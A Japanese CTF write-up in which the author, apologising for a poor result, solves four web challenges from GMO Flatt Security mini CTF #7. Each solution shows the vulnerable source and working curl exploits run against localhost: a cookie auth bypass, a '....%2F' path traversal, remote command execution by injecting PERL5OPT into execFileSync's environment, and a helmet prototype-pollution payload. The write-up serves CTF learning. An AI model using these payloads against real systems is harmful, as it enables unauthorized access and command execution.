こんにちは新月です。
GMO Flatt Security mini CTF #7に参加して本当にあり得ないほど酷い、目も当てられない成績だったので禊のためにもここに全問のwriteupを書きます。作問者のst98さん本当に申し訳ありませんでした。
login-as-admin
ソースコードは以下の通りです。
const express = require('express');
const cookieParser = require('cookie-parser');
const FLAG = process.env.FLAG || 'flag{DUMMY}';
const PORT = process.env.PORT || 3000;
const app = express();
app.use(cookieParser());
const users = {
// guest user. This user has no admin permissions.
guest: {
isAdmin: false
},
// admin user. This user has admin permissions.
// However, the ID is randomly generated, so it is not known in advance.
[crypto.randomUUID()]: {
isAdmin: true,
}
};
app.get('/', (req, res) => {
const username = req.cookies.username || 'stranger';
return res.send(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
</head>
<body>
<h1>Login Form</h1>
<p>Hello, ${username}!</p>
<p><a href="/login-as-guest">Click here to login as <code>guest</code></a>.</p>
<p>If you are sure you are admin, then access <a href="/admin"><code>/admin</code></a> to get the flag.</p>
</body>
</html>
`.trim());
});
app.get('/login-as-guest', (req, res) => {
res.cookie('username', 'guest');
return res.redirect('/');
});
app.get('/admin', (req, res) => {
const username = req.cookies.username;
if (username === 'admin') {
return res.send('What are you trying to do?');
}
const user = users[username];
try {
if (!username || !user.isAdmin) {
return res.send(`You don't have enough permissions to access this page.`);
}
} catch {
console.error('something wrong');
}
return res.send(`Hello, admin! The flag is: ${FLAG}`);
});
app.listen(PORT, () => { console.log('running'); });
/adminというエンドポイントにアクセスする際にisAdminかどうかを検証していますが、userがundefinedの時catchでエラーを潰した後returnを行ってないためそのままflagが取れます。
つまりcookieに存在しないusernameを入れて/adminをGETすれば良いです。
curl -H "Cookie: username=exploit" http://localhost:3000/admin
file yomitaro
ソースコードは以下の通りです。
const fs = require('fs');
const express = require('express');
const PORT = process.env.PORT || 3000;
const app = express();
app.use(express.urlencoded({ extended: false }));
const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
return res.send(indexHtml);
});
app.get('/static/:file', (req, res) => {
let file = req.params.file;
for (const forbidden of ['dev', 'proc']) {
if (file.includes(forbidden)) {
return res.status(400).send({
error: `Access to ${forbidden} directory is not allowed`,
requestedFile: file
});
}
}
file
= file.replace('..', ''); // Prevent directory traversal
console.log(file);
if (file.endsWith('.js')) {
res.setHeader('Content-Type', 'application/javascript');
} else if (file.endsWith('.css')) {
res.setHeader('Content-Type', 'text/css');
}
if (fs.existsSync(`./static/${file}`)) {
return res.send(fs.readFileSync(`./static/${file}`, 'utf8'));
}
return res.status(404).send({
error: 'File not found',
requestedFile: file
});
});
app.listen(PORT, () => {
console.log('Server is running');
});
FROM node:22-bookworm-slim
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm i
COPY flag /
COPY index.js index.html ./
COPY static/ static/
RUN groupadd -r appuser && useradd -r -g appuser -G audio,video appuser \
&& mkdir -p /home/appuser/Downloads \
&& chown -R appuser:appuser /home/appuser \
&& chown -R appuser:appuser /app/node_modules
USER appuser
CMD ["node", "index.js"]
なんと、解けてません。切腹案件です。
/static/:file
というコードから/static以下のパスをreadFileSyncで取りに行く、ただしreplace('..', '');
でディレクトリトラバーサルを防ぐよという意図であることがわかります。ただ、replaceは一度しか置換しないため..../flag
の様に記述すると../flag
という様にこの制限をバイパスすることができます。:file
という記述では/をそのまま入力するとその後は読んでくれないため%2fにパーセントエンコーディングをしてあげれば正しく動きます。後はflagを取得するだけです。取得するだけだったのですが、なぜかflagの階層を間違え続けて解けませんでした。
....%2F..%2Fflag
でアクセスすれば解けたのに、なぜそうしなかったのか、なぜDockerfileを見なかったのか、なぜローカルで検証しなかったのか、今年最大級のやらかしでした。
これで解けます。
curl http://localhost:3001/static/....%2F..%2Fflag
shaberu ushi
ソースコードは以下の通りです。
const fs = require('fs');
const cp = require('child_process');
const express = require('express');
const PORT = process.env.PORT || 3000;
const app = express();
app.use(express.urlencoded({ extended: true }));
const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
return res.send(indexHtml);
});
app.post('/say', (req, res) => {
const params = req.body.params || {};
if (typeof params.input !== 'string' || params.input.length > 100) {
return res.status(400).json({ error: 'Message too long' });
}
try {
const result = cp.execFileSync('/usr/games/cowsay', [], {
...params,
encoding: 'utf8',
timeout: 3000,
// just to be sure we don't execute arbitrary commands
cwd: '/app',
shell: '/bin/sh'
});
return res.json({
message: result.trim()
});
} catch (error) {
return res.status(500).json({ error: 'Failed to generate cowsay' });
}
});
app.listen(PORT, () => {
console.log('Server is running');
});
execFileSyncで/usr/games/cowsayを実行し、paramsでexecFileSyncに引数を設定できます。別に/readfileというバイナリも存在するためRCEが目標となります。
execFileSyncの引数を見てみるとenvで環境変数を指定できることがわかります。cowsayはperlで書かれているため「perl environment variables ctf」などで検索すると以下の記事が出てきます。
https://www.elttam.com/blog/env/
これによるとperlは以下のような環境変数を設定することで実行時にコマンドを実行することが可能になるようです。
PERL5OPT=-Mbase;print(`id`);exit
そこで以下の様にリクエストを送るとコマンドが実行できているのがわかります。
┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello¶ms[env][PERL5OPT]=-Mbase;print(`id`)'
{"message":"uid=999(appuser) gid=999(appuser) groups=999(appuser),29(audio),44(video)\n _______\n< hello >\n -------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||"}
あとは以下の様に/readfileの正確なファイル名を求めて、それを実行するだけです。
┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello¶ms[env][PERL5OPT]=-Mbase;print(`ls\x20/`)'
{"message":"app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nreadflag-56d205ba126615c3\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n _______\n< hello >\n -------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||"}
┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello¶ms[env][PERL5OPT]=-Mbase;print(`/readflag-56d205ba126615c3`)'
{"message":"flag{DUMMY}\n _______\n< hello >\n -------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||"}
helmet-anuki
ソースコードは以下の通りです。
const express = require('express');
const helmet = require('helmet');
const FLAG = process.env.FLAG || 'flag{DUMMY}';
const IMPORTANT_HEADER_KEY = 'content-security-policy';
if (process.argv.length < 3) {
console.error('no arg provided');
process.exit(1);
}
// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
Object.prototype[k] = v;
}
/////////////////////////////////////////////////////////////////////////////
// okay, let's deploy the server
const app = express();
app.use(helmet()); // this will strengthen this app!
app.get('/', (req, res) => {
res.send('ok');
});
app.listen(3000, () => {
// send request to the server itself to check if the header is polluted
fetch('http://localhost:3000').then(r => {
if (!r.headers.has(IMPORTANT_HEADER_KEY)) {
console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`);
process.exit(0);
}
// if you control the Content-Security-Policy header, I will give you the flag
const headerValue = r.headers.get(IMPORTANT_HEADER_KEY);
const isHeaderPolluted = headerValue.includes('give me flag!');
console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted');
process.exit(0);
});
});
import datetime
import json
import logging
import os
import threading
import time
import docker
from flask import Flask, request
IMAGE_NAME = 'tanuki-sandbox'
FLAG = os.environ.get('FLAG', 'flag{DUMMY}')
client = docker.from_env()
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)
def run(json):
result = client.containers.run(IMAGE_NAME, [json], environment={
'FLAG': FLAG
}, remove=True, init=True)
return result.decode('utf-8')
def clean():
now = datetime.datetime.now(datetime.timezone.utc)
logger.info(f'clean() started: {now}')
containers = client.containers.list(all=True, filters={
'ancestor': IMAGE_NAME
})
for container in containers:
started_str = container.attrs['State']['StartedAt']
started = datetime.datetime.fromisoformat(started_str.replace('Z', '+00:00'))
elapsed = (now - started).total_seconds()
if elapsed > 60:
try:
logger.info(f"Removing container {container.id[:12]} started at {started_str}")
container.remove(force=True)
except Exception as e:
logger.info(f"Failed to remove container {container.id[:12]}: {e}")
now = datetime.datetime.now(datetime.timezone.utc)
logger.info(f'clean() finished: {now}')
def cleanup_worker():
while True:
try:
clean()
except Exception as e:
logger.info(f'error occurred in clean(): {e}')
time.sleep(60)
app = Flask(__name__)
with open('index.html', 'r') as f:
index_html = f.read()
@app.get('/')
def index():
return index_html
@app.post('/run')
def go():
user_input = request.form.get('input', '')
try:
json.loads(user_input)
except:
return 'Please input valid JSON'
logger.info(f'payload: {user_input}')
try:
result = run(user_input)
logger.info(f'result: {result}')
except Exception as e:
logger.info(f'error occurred in run(): {e}')
return 'error occurred'
return result
if __name__ == '__main__':
cleanup_thread = threading.Thread(target=cleanup_worker, daemon=True)
cleanup_thread.start()
app.run(host='0.0.0.0')
以下の部分のコードにprototype pollutionの脆弱性があるため色々なことができそうです。
// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
Object.prototype[k] = v;
}
const isHeaderPolluted = headerValue.includes('give me flag!');
の部分で判断しているためcontent-security-policyヘッダにprototype pollutionで値を追加することが最終的な目標となりそう。app.useでhelmetが追加されているため、ここに何かしらのガジェットがありそう。
helmetは以下の様にcontent-security-policyを設定できるため、ここを汚染すればよい。
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "trusted-scripts.com"]
}
}));
このようなjsonを送れば上手いこと汚染できそう。
{"contentSecurityPolicy":{"directives":{"content-security-policy":"give me flag!"}}}
最終的にはこう。
┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/login-as-admin/distfiles]
└─$ curl http://localhost:5000/run -X POST -d 'input={"contentSecurityPolicy":{"directives":{"content-security-policy":"give me flag!"}}}'
Congratulations! The flag is: flag{DUMMY}
あとがき
全問writeupでした。
この度は大変申し訳ございませんでした。